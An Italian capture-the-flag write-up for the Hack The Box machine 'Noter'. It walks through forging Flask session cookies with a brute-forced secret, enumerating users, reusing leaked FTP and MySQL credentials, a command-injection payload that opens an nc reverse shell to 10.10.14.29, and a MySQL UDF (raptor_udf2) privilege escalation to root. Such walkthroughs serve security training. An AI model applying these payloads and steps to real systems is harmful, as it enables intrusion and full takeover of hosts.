HTB Noter


1 Enumeration

1.1 nmap

1.1.1 nmap -sC -sV noter

Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 18:16 CEST
Stats: 0:00:00 elapsed
Nmap scan report for noter (10.129.56.41)
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds

1.1.2 nmap -p- noter


Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 18:16 CEST
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
21/tcp    open     ftp
22/tcp    open     ssh
5000/tcp  open     upnp
23681/tcp filtered unknown
24133/tcp filtered unknown
51374/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 727.87 seconds

1.2 webapp

1.2.1 registration request

Possiamo registrarci nella webapp tramite l'url http://noter:5000/register con le credenziali

   leonardo:password

andando ad eseguire la seguente richiesta con curl

curl 'http://noter:5000/register' \
  -H 'Proxy-Connection: keep-alive' \
  -H 'Cache-Control: max-age=0' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Origin: http://noter:5000' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'Referer: http://noter:5000/register' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  --data-raw 'name=leonardo&email=leo%40test.it&username=leonardo&password=password&confirm=password' \
  --compressed \
  --insecure   

a questo punto possiamo entrare e vedere che le note possono essere visualizzate andando a vedere i seguenti URLs

http://noter:5000/note/3/
http://noter:5000/note/4/
http://noter:5000/note/5/   

dato che l'id finale dell'URL parte da 3, e viene incrementato di uno per ogni creazione di una nuova nota, questo significa che possiamo assumere che ci siano due note create da altri utenti.


1.2.2 cookie management con flask-unsign

Per gestire l'autenticazione la webapp utilizza un cookie

GET /dashboard HTTP/1.1
Host: noter:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://noter:5000/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=.eJwlx0sKwCAMBcCrhLf2BN6kFBHR9APWgFG6EO9eoathBvyRg16ssPsAtQW0x8iqMNikU6hMRV7Kcp6c6C5w0xn89au21c4GXbmW8DAsMksJNQnmByyPISk.YyICyQ.n5ga3I-6Mtp3T9pJF_rTiZzq0GQ
Connection: close
    

Per decodificare il cookie possiamo utilizzare un tool chiamato flask-unsign.

leo@kali:~/repos/noter$ flask-unsign --decode --cookie '.eJwlx0sKwCAMBcCrhLf2BN6kFBHR9APWgFG6EO9eoathBvyRg16ssPsAtQW0x8iqMNikU6hMRV7Kcp6c6C5w0xn89au21c4GXbmW8DAsMksJNQnmByyPISk.YyICyQ.n5ga3I-6Mtp3T9pJF_rTiZzq0GQ'
{'_flashes': [('success', 'You are now logged in')], 'logged_in': True, 'username': 'leonardo'}    

Notiamo che il campo _flashes potrebbe non esserci, in quanto viene utilizzato dalla webapp per mostrare messaggi "flash" che poi spariscono e non sono più mostrati.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibGVvbmFyZG8ifQ.YyICyQ.OKZe_Q_KFFsmDNF1vi3Ewbl7pRU'
{'logged_in': True, 'username': 'leonardo'}    

Per trovare il segreto utilizzato per firmare il cookie possiamo procedere come segue

leo@kali:~/repos/noter$ flask-unsign --wordlist ~/repos/wordlists/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibGVvbmFyZG8ifQ.YyICyQ.OKZe_Q_KFFsmDNF1vi3Ewbl7pRU' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'leonardo'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17536 attempts
b'secret123'    

Come possiamo vedere, il segreto è secret123.

con questo segreto possiamo firmare dei nostri cookie arbitrary. AD esempio possiamo firmare il seguente cookie, che dice al server che siamo loggati come l'utente leo.

leo@kali:~/repos/noter$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'leo'}" --secret "secret123"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibGVvIn0.YyIFbg.KkT1F41O743dlVYSmjZ7Ztnzulk

1.2.3 user enumeration con wfuzz

Per enumerare gli utenti della macchina possiamo utilizzare l'information leakage introdotto dalla pagina di login.

In particolare, un login con un username esistente ma una password sbagliata ritorna il valore "Invalid Login", mentre un login con un username non esistente e una password sbagliata ritorna il valore "Invalid credentials".

Utilizzando un tool di web fuzzing come wfuzz siamo in grado di enumerare gli utenti del sistema.

leo@kali:~/repos/noter/data$ wfuzz -z file,xato-net-10-million-usernames.txt -d "username=FUZZ&password=" --ss "Invalid login" http://noter:5000/login
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

Target: http://noter:5000/login
Total requests: 8295455

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                          
=====================================================================

000000113:   200        68 L     110 W      2022 Ch     "blue"                                                                           
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 390
Filtered Requests: 389
Requests/sec.: 0    

Abbiamo trovato l'utente blue. Andandoci a creare un cookie con questo utente otteniamo

leo@kali:~/repos/noter/data$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret "secret123"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YyIJGA.NQCbWG_TsjwWSqoYAJ5tiHZRNoQ    

e impostandolo come cookie vediamo le note di blue.

1.2.4 blue's notes

  • Noter Premium Membership

    
        Hello, Thank you for choosing our premium service. Now you are capable of
    doing many more things with our application. All the information you are going
    to need are on the Email we sent you. By the way, now you can access our FTP
    service as well. Your username is 'blue' and the password is 'blue@Noter!'.
    Make sure to remember them and delete this.  
    (Additional information are included in the attachments we sent along the
    Email)  
      
    We all hope you enjoy our service. Thanks!  
      
    ftp_admin      
    
  • Before the weekend

    Delete the password note  
    Ask the admin team to change the password      
    

1.2.5 code review for RCE

La versione del codice che gira nel backup è il backup più recente tra i due, ovvero app_backup_1638395546.zip in quanto contiene anche il codice per la gestione degli endpoint tipo /export_note.

Come possiamo vedere, la funzione pericolosa è la funzione export_note_remote in quanto contiene la chiamata a subprocess.run

r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

Possiamo controllare il valore di r.text.strip() in quanto è ottenuto facendo una GET ad un url che scelgiamo noi. L'unico filtro che viene effettuato è dalla funzione parse_url

    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
    

La funzione però non fa altro che controllare che l'url inizia con "http://" o "https://" e che finisca con ".md"

def parse_url(url):
    url = url.lower()
    if not url.startswith ("http://" or "https://"):
        return False, "Invalid URL"    

    if not url.endswith('.md'):
            return False, "Invalid file type"

    return True, None
    

Per exploitare infine dobbiamo capire come bypassare la costruzione della stringa. L'idea è quella di utilizzare il seguente payload

' ; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.29 4321 >/tmp/f #     

Da mettere in un file hello.md, attivare un web server, e richiedere la risorsa dalla pagina export notes per attivare una reverse shell.

1.3 ftp

1.3.1 ftp as blue

Utilizzando le credenziali possiamo loggare nel server ftp.

blue:blue@Noter!    
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
226 Transfer complete.
12569 bytes received in 0.00 secs (4.4085 MB/s)    

Possiamo vedere un file policy.pdf.

Leggendolo, c'è scritto che le password di default hanno la struttura

    username@site_name!

1.3.2 ftp as ftp_admin

Utilizzando le credenziali di defualt dell'utente ftp_admin possiamo loggare nel server ftp.

ftp_admin:ftp_admin@Noter!    
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.    

Come possiamo vedere abbiamo due zip, che sono dei backup dell'applicazione che gira nel backend.

1.4 mysql

1.4.1 creds

Prese da app_backup_1635803546/app.py

# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'    

2 PrivEsc

2.1 mysql

Per vedere la presenza del processo mysql

svc@noter:/tmp$ netstat -ltpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1248/python3        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                      

Ci possiamo loggare con le creds trovate prima

mysql -u root -pNildogg36      

Per vedere che il processo mysql gira come root possiamo utilizzare la keyword OUTIFLE.

select 1 into OUTFILE '/tmp/test2';
svc@noter:/tmp$ ls -lha /tmp/test2
-rw-r--r-- 1 root root 2 Sep 14 18:07 /tmp/test2   

Per diventare root l'idea è quella di caricare in memoria una libreria dinamica (.so). Questo funziona in quanto il processo mysql che gira in remoto gira come l'utente root e quindi posso scrivere in una sottocartella di /usr/lib su cui tipicamente solo root può scrivere.

Riferimento: raptor_udf2.c

Dopo aver caricato il sorgente nella macchina remota tramite nc lo compiliamo in un .so nella cartella /tmp, andando quindi a creare il file /tmp/raptor_udf2.so

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc   

e poi effettuiamo il login in mysql con le credenziali prese dalla webapp

mysql -u root -pNildogg36   

Una volta dentro effettuiamo i seguenti comandi

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;   

Dove la path '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/ è stata ottenuta dal seguente comando

MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.002 sec)   

alla fine possiamo chiamare una reverse shell tramite la funzione caricata do_system()

select do_system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.29 4321 >/tmp/f   ');   

per ottenere una reverse shell da root.

3 Flags